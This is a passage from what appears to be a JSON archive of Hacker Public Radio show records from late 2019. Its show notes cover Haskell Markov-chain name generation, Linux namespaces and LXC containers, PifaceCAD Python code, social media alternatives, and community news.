                                                            \n

                                                            Now that we know how to figure our possible continuation elements, we can implement computing tail of chain:

                                                            \n
                                                            tailOfChain :: (Ord a, RandomGen g) => Config a -> a -> Rand g [a]\ntailOfChain config c = do\n    item <- chooseM (candidates config c)\n    case join item of\n        Nothing ->\n            return []\n\n        Just x -> do\n             xs <- tailOfChain config x\n             return $ x : xs
                                                            \n

                                                            Function first select item from candidates. If there isn’t suitable item or item is Nothing, result will be an empty list. Otherwise function recurses, computes tail starting from selected element and constructs chain starting by selected item and followed by tail.

                                                            \n

                                                            join item at the start of case analysis collapses two nested Maybes together:

                                                            \n
                                                              \n
                                                            • Nothing will result Nothing (no suitable continuation)
                                                            • \n
                                                            • Just Nothing will also result Nothing (end of chain reached)
                                                            • \n
                                                            • Just a will result Just a (suitable element found)
                                                            • \n
                                                            \n

                                                            In the end we have list that is sort of like: h : chooseM (candidates config h) : chooseM (candidates config h') : chooseM (candidates config h'') : ... : []

                                                            \n

                                                            Extra

                                                            \n

                                                            For convenience we define two other functions. First one is for when we don’t want to use Rand g a. It’s done by applying runRand function with our chainM function, config and RandomGen.

                                                            \n
                                                            chain :: (Ord a, RandomGen g) => Config a -> g -> ([a], g)\nchain config g =\n    runRand (chainM config) g
                                                            \n

                                                            More interesting is chains which builds infinite list of chains:

                                                            \n
                                                            chains :: (Ord a, RandomGen g) => Config a -> g -> [[a]]\nchains config g =\n        c : chains config g'\n    where\n        (c, g') = chain config g
                                                            \n

                                                            This uses chain function to create starting element (which is markov chain) and new generator g'. Then it builds a list where that first chain is followed by list of chains that is created by calling chains with that new random generator. Since there’s no termination case in the function, it will compute infinitely long list of markov chains. This works because elements are computed only when needed. For all intents and purposes for program using this infinite list, items are there when needed.

                                                            \n

                                                            Closing

                                                            \n

                                                            Hardest part working with markov chains (at least in my opinion) is building suitable configuration. When you have that configuration at hand, building chains from it requires relatively small amount of code. In the next episode we’re going to use this chains for our space game.

                                                            \n

                                                            Questions, comments and feedback are always welcome. Best way to reach me is by email or in fediverse where I’m Tuula@mastodon.social.

                                                            \n","hostid":364,"series":107,"explicit":0,"license":"CC-BY-SA","tags":"markov chains, Haskell","version":0,"downloads":0,"valid":1}, {"id":2929,"date":"2019-10-24","title":"Recovering Files from a Dead MacBook Air","duration":482,"summary":"I talk about recovering the files from my wife's dead MacBook Air using an Ubuntu Live CD.","notes":"

                                                            I talk about becoming a household hero by recovering my wife's files from her dead MacBook Air. Her laptop would not boot, shutting down seconds into the process each time she tried to start it up. I used an Ubuntu Live CD (DVD), with the commands fdisk and fsck to repair the damaged filesystem on the Mac. It still wouldn't boot even with the repaired filesystem, but I was able to mount the drive and copy her files to a USB drive.

                                                            \n\n

                                                            Links

                                                            \n\n\n","hostid":238,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Ubuntu,Mac OS X,File Recovery,Filesystem Repair","version":0,"downloads":0,"valid":1}, {"id":2930,"date":"2019-10-25","title":"Better Social Media 04 - Diaspora","duration":886,"summary":"Diaspora was the original alternative platform when it went up against Facebook.","notes":"

                                                            I don’t know if Diaspora was the first of the alternatives to come along, but it was certainly the first I was aware of. It got a lot of attention for the college students who first put it together (and remember that Facebook was originally created by a college student, Mark Zuckerberg). The four students, Ilya Zhitomirskiy, Dan Grippi, Max Salzberg, and Raphael Sofaer, were inspired by a speech Eben Moglen gave to the Internet society’s New York Chapter, where he described centralized social networks as “Spying for free”. The students chose the name Diaspora, which is a Greek word that means a “scattered or dispersed population” to reflect the idea that instead of a centralized platform, Diaspora would consist of independent nodes, called pods, each running a copy of the free software which is open source and licensed under the GNU-AGPL-3.0 license. https://www.zwilnik.com/?page_id=1032

                                                            \n

                                                            Links:

                                                            \n\n","hostid":198,"series":108,"explicit":0,"license":"CC-BY-SA","tags":"social media, alternative, federated, Fediverse","version":0,"downloads":0,"valid":1}, {"id":2931,"date":"2019-10-28","title":"Wallabag for on premises article aggregation","duration":690,"summary":"In this episode, I describes my trials and eventual triumph in installing Wallabag","notes":"

                                                            Addendum

                                                            \n

                                                            I forgot to mention that Wallabag is also offered as a service for a small fee. Check out the website for more information.

                                                            \n

                                                            Links

                                                            \n\n","hostid":300,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"self-hosted, docker","version":0,"downloads":0,"valid":1}, {"id":2932,"date":"2019-10-29","title":"Stardrifter RPG Playtest Part 10","duration":3255,"summary":"Lostnbronx and friends playtest a new, original RPG system.","notes":"

                                                            This episode is Part 10 of the Stardrifter role-playing game playtest. The series is composed of two playtest sessions, held earlier this year. They were recorded and chopped into manageable bites, then edited down into separate episodes.

                                                            \n

                                                            This series is meant to give listeners some insight into the RPG construction process. Playtesting is not the final step, but rather, just another stage. The construction of an RPG can be convoluted, and feedback from players is absolutely vital.

                                                            \n

                                                            It’s not unusual for a game master to have two sets of maps for an adventure: one is for the players, which only has the sort of information on it that their characters might reasonably have access to; the other is NOT for the players, as it shows all the special information they shouldn’t know about (at least, not all at once). This is where you’d make note of secret doors, hidden objects or enemies, and/or, as in the case of this playtest, the physical condition of the ship as it stands at the moment.

                                                            \n

                                                            \"Player
                                                            \nPlayer Map

                                                            \n

                                                            \"Game
                                                            \nGame Master Map

                                                            \n

                                                            Additionally, here’s a zip file containing the adventure, the maps, the floor plan descriptions, some miscellaneous non-player characters, and the Stardrifter RPG rules in EPUB format. Again, these are no longer the LATEST version of the rules, but they are what we used for these episodes.

                                                            \n

                                                            Stardrifter-RPG-Playtest_Squatters-Rights.zip

                                                            \n

                                                            In this final part of the mini-series, the players provide their hard-working game designer with some valuable feedback, observations, and general opinions!

                                                            \n

                                                            Special thanks to my playtesters in this episode: Thaj, Mark (who was playing Brinn), and X1101!

                                                            \n","hostid":107,"series":95,"explicit":1,"license":"CC-0","tags":"rpg, gaming, stardrifter, game construction, playtest","version":0,"downloads":0,"valid":1}, {"id":2933,"date":"2019-10-30","title":"A walk through my PifaceCAD Python code – Part 1","duration":871,"summary":"In this series a do whirl wind tour of the Python code I developed for my PifaceCAD board","notes":"

                                                            In this series a do whirl wind tour of the Python code I developed to control my PifaceCAD raspberry pi add on board. I this use to control a music player running on a remote raspberry pi upstairs.

                                                            \n

                                                            In this episode I cover my use of global variables.

                                                            \n

                                                            List of global variables along with associated comments explaining what they are used for

                                                            \n
                                                            # GLOBAL VARIABLES\n\nRemoteDevice = "pi@192.168.1.13"\n# Username and ip address of the remote device to control\n\nSeekMin = -6\n# Sets the minimum value of the variable SeekPosition\n\nSeekMax = 6\n# Sets the maximum value of the variable SeekPosition\n\nSeekPosition = 0\n# stores seek menu position,\n\nSeekMenu = False\n# used to track seek menu state, ie are we in seek menu or not\n\nFirstPass = True\n# Used to track 1st time button 5 (backlight toggle) is pushed, turns off blinkstick\n\nLcdLightOn = False\n# used to track toggle sate of backlight button 5\n\nMenuMin = 0\n# Sets the minimum value of variable "Menu"\n\nMenuMax = 2\n# Sets the maximum value of variable "Menu"\n\nMenu = 0\n# global variable used to keep trak of selected menu\n\nIrActive = False\n# used to track toggle state of active infrared buttons, when false disables\n# all buttons on the remote control except the blue button.\n\nStoredTime = 0\n# Stores curent time in seconds when a button is pushed, used by double button tap feature\n\n#GET_IP_CMD = "hostname –all-ip-addresses"\n# Debian 7 wheezy, Command to get IP adress\n\nGET_IP_CMD = "hostname --all-ip-addresses | cut -d' ' -f1"\n# Debian 8 jessie, Command to get IP adress\n\n#GET_ESSID_CMD = "iwconfig wlan0 | grep 'ESSID:' | cut -d':' -f2"\n# Debian 7 wheezy, Command to get wifi ESSID\n\nGET_ESSID_CMD = "/sbin/iwconfig wlan0 | grep 'ESSID:' | cut -d':' -f2"\n# Debian 8 wheezy, Command to get wifi ESSID\n\nGET_WIFI_STRENGTH_CMD = "/sbin/iwconfig wlan0 | grep 'Link Quality=' | awk '{ print $2 }'"\n# Command to get wifi signal strength
                                                            \n","hostid":201,"series":38,"explicit":1,"license":"CC-BY-SA","tags":"Podcasts, Linux, Command Line, Python, Raspberry Pi","version":0,"downloads":0,"valid":1}, {"id":2934,"date":"2019-10-31","title":"Server Basics 106: Namespaces and containers","duration":2033,"summary":"Klaatu talks about the unshare and lxc commands","notes":"

                                                            \nNamespaces provide context and constraints for processes on a Linux system.\nThey are utilised by the infrastructure of \"the cloud\" to create distinct \"containers\", in which processes may run without awareness of the system they are actually running upon.\n

                                                            \n\n
                                                            \n// prove you are not running some process\n\n$ pidof tcsh\n// nothing\n\n$ sudo pidof tcsh\n// nothing\n\n// launch tcsh in a new namespace with unshare:\n\n$ sudo unshare --fork --pid --mount-proc tcsh\n\n// from within that session:\n\n# pidof tcsh\n1\n\n// wait what??\n// yes tcsh is the first pid of its own namespace\n\n// from another term\n$ ps 1\ninit\n\n$ pidof tcsh\n26814\n\n// from inside the namespace, pid is seen as 1\n// from outside, pid is normal\n\n$ ps tree | less\n// search for tcsh\n\n// See evidence of namespaces:\n\n$ ls /proc/*/ns\n\n$ ls /proc/26814/ns\nipc net pid user uts [...]\n
                                                            \n\n

                                                            \nTo see this in action for a slightly more pragmatic purpose, you can use the lxc command.\nThe LXC system uses namespaces and cgroups to create functional containers that act, more or less, like a Virtual Machine, except that they are built in containers so that they do not have to emulate hardware.\n

                                                            \n

                                                            If your system doesn't have LXC installed, first install it:\n

                                                            \n\n
                                                            \n$ sudo dnf install lxc lxc-templates lxc-doc\n\n// on Ubuntu or Debian:\n\n$ apt install lxc\n\n
                                                            \n\n

                                                            \nYou also need to create a network bridge so that your container and your host system (that's the computer you're sitting in front of right now) can communicate.\n

                                                            \n\n
                                                            \n$ sudo ip link add br0 type bridge\n$ sudo ip addr show br0\n7: br0: <BROADCAST,MULTICAST> mtu 1500 qdisc\n   noop state DOWN group default qlen 1000\n   link/ether 26:fa:21:5f:cf:99 brd ff:ff:ff:ff:ff:ff\n
                                                            \n

                                                            \nNow give your bridge device an IP address that doesn't conflict with any existing IP address on your network:\n

                                                            \n
                                                            \n$ sudo ip addr add 192.168.168.168 dev br0\n$ sudo ip link set br0 up\n
                                                            \n\n

                                                            \nCreate a configuration for your container.\nYou can base this on the samples provided by lxc (located in /usr/share/docs/lxc or similar).\nEverything but veth, br0, and up is arbitrary. You can make up all the values.\n

                                                            \n\n
                                                            \nlxc.utsname = hackerpublicradio\nlxc.network.type = veth\nlxc.network.flags = up\nlxc.network.link = br0\nlxc.network.hwaddr = 4a:49:43:49:79:bd\nlxc.network.ipv4 = 192.168.168.1/24\nlxc.network.ipv6 = 2003:db8:1:0:214:c0ff:ee0b:3596\n
                                                            \n\n

                                                            \nNow install an OS into your container.\nOS templates are provided by LXC in /usr/share/doc/lxc/templates or a similar location.\n

                                                            \n\n
                                                            \n$ ls -m /usr/share/lxc/templates/\nlxc-alpine, lxc-altlinux, lxc-archlinux, lxc-busybox, lxc-centos [...]\n
                                                            \n\n

                                                            \nChoose a template and install.\nI use Alpine in the recorded show, because it's supposed to be really small.\nI don't necessarily recommend Alpine. I recommend Slackware, of course.\n

                                                            \n\n
                                                            \n$ sudo lxc-create --name slackware --template slackware\n
                                                            \n\n

                                                            \nOnce the install is done, start your container:\n

                                                            \n\n
                                                            \n$ sudo lxc-start --name slackware\n--rcfile ~/mycontainer.conf\n
                                                            \n\n

                                                            \nNow attach to the container:\n

                                                            \n\n
                                                            \n$ sudo lxc-attach --name slackware\n#\n
                                                            \n\n

                                                            \nRun a command.\n

                                                            \n\n
                                                            \n# uname -av\nLinux hackerpublicradio 5.3.0.x86_64 #1 SMP Wed Oct 10 18:34:01 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux\n
                                                            \n\n

                                                            \nThis is the technology that Docker and OCI projects use to create containers.\nAnd when a bunch of containers start swarming around on a bunch of hosts, you eventually end up with a cloud.\nHow do you manage all of these things?\nThat will be the topic for the next entry in this series, I'll bet.\n

                                                            \n","hostid":78,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"server,container,docker,serverless,cloud,sys admin,kubernetes","version":0,"downloads":0,"valid":1}, {"id":2935,"date":"2019-11-01","title":"The work of fire fighters, part 3","duration":1807,"summary":"The continued introduction into the work of fire fighters","notes":"

                                                            Continued general basic knowledge of fire fighting.

                                                            \n

                                                            Talking about large water system, breathing gear, “the walk”, flash-over and back-draft.

                                                            \n","hostid":369,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"fire fighting, fire brigade","version":0,"downloads":0,"valid":1}, {"id":2936,"date":"2019-11-04","title":"HPR Community News for October 2019","duration":2514,"summary":"Ken discusses last months shows and talks about OggCamp, FLOSS Weekly, FOSDEM, and Star Wars.","notes":"\n\n

                                                            New hosts

                                                            \n

                                                            \nWelcome to our new host:
                                                            \n\n Carl.\n

                                                            \n\n

                                                            Last Month's Shows

                                                            \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n
                                                            IdDayDateTitleHost
                                                            2912Tue2019-10-01Stardrifter RPG Playtest Part 06lostnbronx
                                                            2913Wed2019-10-02Windows, SDN, and FirewallsBeto
                                                            2914Thu2019-10-03Describing how I listen to podcasts PART 4MrX
                                                            2915Fri2019-10-04Intro - My Recording SetupCarl
                                                            2916Mon2019-10-07HPR Community News for September 2019HPR Volunteers
                                                            2917Tue2019-10-08Stardrifter RPG Playtest Part 07lostnbronx
                                                            2918Wed2019-10-09Selecting random item from weighted listTuula
                                                            2919Thu2019-10-10hosting software in HPR show notesJezra
                                                            2920Fri2019-10-11Better Social Media 03 - MeWeAhuka
                                                            2921Mon2019-10-14Geocaching with the familythelovebug
                                                            2922Tue2019-10-15Stardrifter RPG Playtest Part 08lostnbronx
                                                            2923Wed2019-10-16Describing how I listen to podcasts PART 5MrX
                                                            2924Thu2019-10-17Hacking an Alarm Clock to Make it QuieterJon Kulp
                                                            2925Fri2019-10-18LinuxLugCast's Memorial for FiftyOneFifty Honkeymagoo
                                                            2926Mon2019-10-21Full Circle MagazineTony Hughes AKA TonyH1212
                                                            2927Tue2019-10-22Stardrifter RPG Playtest Part 09lostnbronx
                                                            2928Wed2019-10-23Building markov chains with HaskellTuula
                                                            2929Thu2019-10-24Recovering Files from a Dead MacBook AirJon Kulp
                                                            2930Fri2019-10-25Better Social Media 04 - DiasporaAhuka
                                                            2931Mon2019-10-28Wallabag for on premises article aggregationMr. Young
                                                            2932Tue2019-10-29Stardrifter RPG Playtest Part 10lostnbronx
                                                            2933Wed2019-10-30A walk through my PifaceCAD Python code – Part 1MrX
                                                            2934Thu2019-10-31Server Basics 106: Namespaces and containersklaatu
                                                            \n\n

                                                            Comments this month

                                                            \n\n

                                                            These are comments which have been made during the past month, either to shows released during the month or to past shows.\nThere are 14 comments in total.

                                                            \n

                                                            Past shows

                                                            \n

                                                            There are 7 comments on\n5 previous shows:

                                                            \n
                                                              \n
                                                            • hpr2895\n(2019-09-06) \"The work of fire fighters, part 2\"\nby Jeroen Baten.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 3:\nDon on 2019-10-20:\n\"great podcast\"

                                                              \n
                                                            • hpr2900\n(2019-09-13) \"Better Social Media 01 - Introduction\"\nby Ahuka.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 1:\nJeroen baten on 2019-10-05:\n\"Hope you will find time to discuss Okuna\"
                                                              • \n
                                                              • \nComment 2:\nKevin O'Brien on 2019-10-05:\n\"No plans for now\"

                                                              \n
                                                            • hpr2906\n(2019-09-23) \"Feature Engineering for Data-Driven Decision Making\"\nby Mr. Young.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 2:\nGabriel Evenfire on 2019-10-08:\n\"Love the idea here...\"

                                                              \n
                                                            • hpr2909\n(2019-09-26) \"ONICS Basics Part 3: Networking Fundamentals\"\nby Gabriel Evenfire.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 2:\nGabriel Evenfire on 2019-10-08:\n\"Thanks for the feedback\"
                                                              • \n
                                                              • \nComment 3:\ngerryk on 2019-10-17:\n\"Yet another top episode\"

                                                              \n
                                                            • hpr2911\n(2019-09-30) \"my internet connection\"\nby Jezra.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 1:\nBeeza on 2019-10-05:\n\"HPR 2911\"

                                                              \n
                                                            \n

                                                            This month's shows

                                                            \n

                                                            There are 7 comments on 5 of this month's shows:

                                                            \n
                                                            • hpr2913\n(2019-10-02) \"Windows, SDN, and Firewalls\"\nby Beto.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nClaudioM on 2019-10-02:\n\"+1 on Chocolatey Recommendation\"

                                                              \n
                                                            • hpr2915\n(2019-10-04) \"Intro - My Recording Setup\"\nby Carl.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nKen Fallon on 2019-10-04:\n\"More shows on ....\"

                                                              \n
                                                            • hpr2921\n(2019-10-14) \"Geocaching with the family\"\nby thelovebug.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\njezra on 2019-10-17:\n\"what a fun adventure\"
                                                              • Comment 2:\nKevin O'Brien on 2019-10-17:\n\"I loved the show\"

                                                              \n
                                                            • hpr2925\n(2019-10-18) \"LinuxLugCast's Memorial for FiftyOneFifty \"\nby Honkeymagoo.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nlostnbronx on 2019-10-19:\n\"I Never Met Fifty, But I Knew Him\"

                                                              \n
                                                            • hpr2928\n(2019-10-23) \"Building markov chains with Haskell\"\nby Tuula.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nMr. Young on 2019-10-29:\n\"Thanks for this episode\"
                                                              • Comment 2:\nTuula on 2019-10-31:\n\"thanks for the feedback!\"

                                                              \n
                                                            \n\n

                                                            Mailing List discussions

                                                            \n

                                                            \nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the Mail List which is open to all HPR listeners and\ncontributors. The discussions are open and available on the HPR server under\nMailman.\n

                                                            \n

                                                            The threaded discussions this month can be found here:

                                                            \nhttps://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2019-October/thread.html\n\n\n

                                                            Events Calendar

                                                            \n

                                                            With the kind permission of LWN.net we are linking to\nThe LWN.net Community Calendar.

                                                            \n

                                                            Quoting the site:

                                                            \n
                                                            This is the LWN.net community event calendar, where we track\nevents of interest to people using and developing Linux and free software.\nClicking on individual events will take you to the appropriate web\npage.
                                                            \n\n

                                                            Any other business

                                                            \n

                                                            FLOSS Weekly

                                                            \n

                                                            Ken Fallon and Ahuka appeared on FLOSS Weekly Episode 553 on October 30th 2019 to talk about Hacker Public Radio.

                                                            \n

                                                            OggCamp 2019

                                                            \n

                                                            There was an HPR presence at OggCamp 2019. This was held at The Manchester Conference Centre during the weekend of October 19th and 20th 2019. We had an HPR table, which was manned by many HPR hosts and received many visitors. Ken recorded interviews which will be released later in November.

                                                            \n

                                                            FOSDEM 2020

                                                            \n

                                                            A request has been made to get a Podcasters table at FOSDEM 2020.

                                                            \n

                                                            HPR on podcast networks

                                                            \n

                                                            We need some help getting HPR on Google Podcasts, Stitcher, Soundcloud, etc.

                                                            \n

                                                            Ken versus espeak

                                                            \n

                                                            Which is preferable, the espeak show summary or Ken’s new reading of the information?

                                                            \n

                                                            Watching Star Wars for the first time

                                                            \n

                                                            A question: should it be watched in Episode or Production Order?

                                                            \n

                                                            Tags and Summaries

                                                            \n

                                                            There were no tag or summary updates in the past month.

                                                            \n

                                                            If you would like to contribute to the tag/summary project visit the summary page at https://hackerpublicradio.org/report_missing_tags.php and follow the instructions there.

                                                            \n\n\n","hostid":159,"series":47,"explicit":1,"license":"CC-BY-SA","tags":"Community News","version":0,"downloads":0,"valid":1}, {"id":2937,"date":"2019-11-05","title":"Lord D's Film Reviews: His Girl Friday","duration":2937,"summary":"Lostnbronx reviews an old screwball comedy.","notes":"

                                                            Ignore the address for the film that I give in the review. Here’s a MUCH better copy than the one I watched. It’s another upload on Archive.org:

                                                            \n

                                                            https://archive.org/details/HisGirlFriday-1940

                                                            \n

                                                            Boy, I wish I’d found this one first!

                                                            \n","hostid":107,"series":109,"explicit":0,"license":"CC-0","tags":"review, film, lord d","version":0,"downloads":0,"valid":1}, {"id":2938,"date":"2019-11-06","title":"Naming pets in space game","duration":1236,"summary":"How to use markov chains to generate names","notes":"

                                                            Intro

                                                            \n

                                                            In the two previous episodes we built a weighted list and used that to build markov chains. This time we’re going to use them to generate some names based on examples. I’m skipping over a lot of uninteresting code in this episode, concentrating only the parts that deal with names.

                                                            \n

                                                            Idea

                                                            \n

                                                            Person in game might hear scurrying sounds inside walls of their quarters. Then they have option of getting a cat, taming a rat or letting someone else deal with the problem. Depending on their choice, they might end up with a cat or a rat, that of course needs a name. Game offers 3 different options of names that haven’t been used before and person can always opt for completely random one.

                                                            \n

                                                            Config

                                                            \n

                                                            While we’re not going to dig very deep into making configurations for markov chains, we can have look at the overall process.

                                                            \n

                                                            We have list of names to serve as examples and three functions, which implementation I won’t delve into:

                                                            \n
                                                              \n
                                                            • start for adding starting element
                                                            • \n
                                                            • links for recording link between two elements
                                                            • \n
                                                            • end adds ending element
                                                            • \n
                                                            \n

                                                            addName function is used to add single name into config:

                                                            \n
                                                            addName :: Int -> Text -> Config Text -> Config Text\naddName n s config =\n    links pairs $\n            end elements $\n            start elements config\n    where\n        elements = chunksOf n s\n        pairs = zip elements (safeTail elements)
                                                            \n

                                                            First s (name) is split into strings of length n. These elements are then combined into pairs, where consecutive elements form a pair. Final step is to add start and ending elements into config, followed by links between elements of pairs.

                                                            \n

                                                            We can then fold a list of examples into config:

                                                            \n
                                                            nameConfig :: [Text] -> Int -> Config Text\nnameConfig xs n =\n    foldr (addName n) emptyConfig xs
                                                            \n

                                                            This starts with emptyConfig and calls addName repeatedly until all elements of list containing examples have been processed.

                                                            \n

                                                            Implementation

                                                            \n

                                                            Now that we have configuration, we can start generating names. As usual, I like to keep things specific and generate PetName instead of just Text. I happened to have list of ancient greek names at hand, so I used that. Later on we’ll have to add more cultures, like Romans, Parthians, Persians, Germans, Phoenicians and so on.

                                                            \n

                                                            General implementation of generating infinite list of strings of specific kind is shown below:

                                                            \n
                                                            names :: (RandomGen g, Eq b) => (Text -> b) -> Config Text -> g -> [b]\nnames t config g =\n    nub $ (t . toTitle . concat) <$> chains config g
                                                            \n

                                                            It’s easier to read if you start from right. chains config g generates infinite list of markov chains with given configuration. Next we create a new function (t . toTitle . concat), which uses concat to combine list of Text into single Text, toTitle to capitalize is correctly and t to transform it to something (PetName in our case). <$> is then used to apply this function to each element of our infinite list. Finally nub is used to remove duplicate entries.

                                                            \n

                                                            With names we can then define petNames:

                                                            \n
                                                            petNames :: (RandomGen g) => g -> [PetName]\npetNames =\n    names MkPetName greekNameConfig
                                                            \n

                                                            MkPetName is value constructor that turns Text into PetName (this is t used by names function).

                                                            \n

                                                            Pets

                                                            \n

                                                            Pets are currently very much work in progress. They have few attributes and there can be two different kinds of pets:

                                                            \n
                                                            Pet json\n    name PetName\n    type PetType\n    dateOfBirth StarDate\n    dateOfDeath StarDate Maybe\n    ownerId PersonId\n    deriving Show Read Eq
                                                            \n
                                                            data PetType\n    = Cat\n    | Rat\n    deriving (Show, Read, Eq, Ord, Enum, Bounded)
                                                            \n

                                                            The actual beef is namingPetEvent function. When applied with Entity Person, Entity Pet and StarDate, it will create News that can be saved into database and later on showed to player. While the code is shown below, I’m not going to go over it line by line:

                                                            \n
                                                            namingPetEvent :: (PersistQueryRead backend, MonadIO m,\n    BaseBackend backend ~ SqlBackend) =>\n    Entity Person -> Entity Pet -> StarDate -> ReaderT backend m News\nnamingPetEvent personE petE date = do\n    pets <- selectList [ PetOwnerId ==. (entityKey personE)\n                       , PetDateOfDeath ==. Nothing\n                       ] []\n    let names = (petName . entityVal) <$> pets\n    g <- liftIO getStdGen\n    let availableNames = take 3 $ filter (\\x -> not (x `elem` names)) $ petNames g\n    let content = NamingPet (NamingPetEvent { namingPetEventPersonId = entityKey personE\n                                            , namingPetEventPetId = entityKey petE\n                                            , namingPetEventPetType = (petType . entityVal) petE\n                                            , namingPetEventDate = date\n                                            , namingPetNameOptions = availableNames\n                                            })\n                            [] Nothing\n    return $ mkPersonalSpecialNews date (entityKey personE) content
                                                            \n

                                                            General idea is to use selectList to load living pets of given person and then extract their names. With random generator g, we create a infinite list of PetNames, remove already used names from it and take 3 first ones. These names are then used to create NamingPetEvent.

                                                            \n

                                                            In closing

                                                            \n

                                                            Names are probably one of the most common applications of markov chains in games. Same technique can be used to generate nonsense books and articles that look realistic on a glance.

                                                            \n

                                                            Questions, comments and feedback is welcomed, best way to reach is email or in fediverse where I’m Tuula@mastodon.social. Or even better, record your own episode for Hacker Public Radio.

                                                            \n

                                                            ad astra!

                                                            \n","hostid":364,"series":107,"explicit":0,"license":"CC-BY-SA","tags":"haskell, markov chains","version":0,"downloads":0,"valid":1}, {"id":2939,"date":"2019-11-07","title":"Submit a show to Hacker Public Radio in 10 easy steps","duration":601,"summary":"This is a 10 step walkthrough of submitting a show to HPR","notes":"

                                                            Steps

                                                            \n
                                                              \n
                                                            1. Record your episode
                                                            2. \n
                                                            3. Go to https://hackerpublicradio.org
                                                            4. \n
                                                            5. Click on "Give Shows"
                                                            6. \n
                                                            7. Click on "Calendar" (the link is not obvious, so use your browser's find functionality to search for the word "Calendar").
                                                              \nEdit: Please use the ⇧Upload⇧ link in the menu bar\n
                                                            8. \n
                                                            9. Choose a slot
                                                            10. \n
                                                            11. Submit your email address
                                                            12. \n
                                                            13. Click the link in the confirmation email
                                                            14. \n
                                                            15. Create your profile (if new), then fill in the form with title, summary and show notes
                                                            16. \n
                                                            17. Attach your episode and submit (wait for long upload process)
                                                            18. \n
                                                            19. Receive your confirmation email, and enjoy your episode!
                                                            20. \n
                                                            \n","hostid":300,"series":45,"explicit":0,"license":"CC-BY-SA","tags":"podcast, hpr, how-to","version":0,"downloads":0,"valid":1}, {"id":2940,"date":"2019-11-08","title":"Better Social Media 05 - Mastodon","duration":778,"summary":"Mastodon is the federated alternative to Twitter.","notes":"

                                                            As mentioned earlier, Diaspora was one of the earliest alternative, privacy-respecting social media platforms, but it was focused on being an alternative to Facebook (and it has done this fairly well). But that leaves the other big platform of the social world, Twitter. Mastodon is a nice federated alternative to Twitter and a nicer place to be. https://www.zwilnik.com/?page_id=1034

                                                            \n

                                                            Links:

                                                            \n\n","hostid":198,"series":108,"explicit":0,"license":"CC-BY-SA","tags":"Fediverse, social media, federated, alternative","version":0,"downloads":0,"valid":1}, {"id":2941,"date":"2019-11-11","title":"Server Basics 107: Minishift and container management","duration":2331,"summary":"Klaatu introduces Minishift, a local test environment for a single-node cloud","notes":"

                                                            Learn \"the OS of the cloud\" with minishift or minikube\n

                                                            ","hostid":78,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"server,container,docker,serverless,cloud,sys admin,kubernetes","version":0,"downloads":0,"valid":1}, {"id":2942,"date":"2019-11-12","title":"Why I love lisps","duration":509,"summary":"A very wooden and scripted episode about why I love the lisp programming language family","notes":"

                                                            Syntax example

                                                            \n
                                                            (define (fib-rec n)\n  (if (< n 2)\n      n\n      (+ (fib-rec (- n 1))\n         (fib-rec (- n 2)))))\n
                                                            \n

                                                            Structured Editing

                                                            \n

                                                            Parinfer: https://shaunlebron.github.io/parinfer/

                                                            \n

                                                            Paredit: https://www.emacswiki.org/emacs/ParEdit

                                                            \n

                                                            Clojure libraries

                                                            \n

                                                            core.match (adds pattern matching): https://github.com/clojure/core.match

                                                            \n

                                                            core.logic (prolog-like stuff): https://github.com/clojure/core.logic

                                                            \n

                                                            overtone: https://github.com/overtone/overtone

                                                            \n

                                                            Other stuff

                                                            \n

                                                            Clojure macro explanation: https://learnxinyminutes.com/docs/clojure-macros/

                                                            \n

                                                            Books

                                                            \n

                                                            The little schemer: https://mitpress.mit.edu/books/little-schemer-fourth-edition

                                                            \n

                                                            Clojure for the brave and true: https://www.braveclojure.com/

                                                            \n","hostid":381,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"lisp, programming","version":0,"downloads":0,"valid":1}, {"id":2943,"date":"2019-11-13","title":"Music as Life","duration":582,"summary":"quantum harmony","notes":"\n

                                                            Background sounds provided by some road noise, and a train.

                                                            \n","hostid":329,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"science","version":0,"downloads":0,"valid":1}, {"id":2944,"date":"2019-11-14","title":"ONICS Basics Part 4: Network Flows and Connections","duration":989,"summary":"I try to add a bit more basic networking info while writing a quick script for Dave Morris","notes":"

                                                            Terminology

                                                            \n
                                                              \n
                                                            • connection - a bi-directional communication channel between two programs over a network
                                                            • \n
                                                            • client - the initiator of a connection
                                                            • \n
                                                            • server - the receiver of the connection
                                                            • \n
                                                            • port - a common term for the address of a program or service on a given machine
                                                            • \n
                                                            • 5-tuple - the combination of protocol, client machine network address, client port, server machine network address, server port that uniquely identifies a connection
                                                            • \n
                                                            • flow - a grouping of packets to be treated in a common way
                                                            • \n
                                                            • microflow - a flow with a fine level of granularity such as the packets from one direction of traffic in a connection
                                                            • \n
                                                            \n

                                                            The topflow.sh Script

                                                            \n
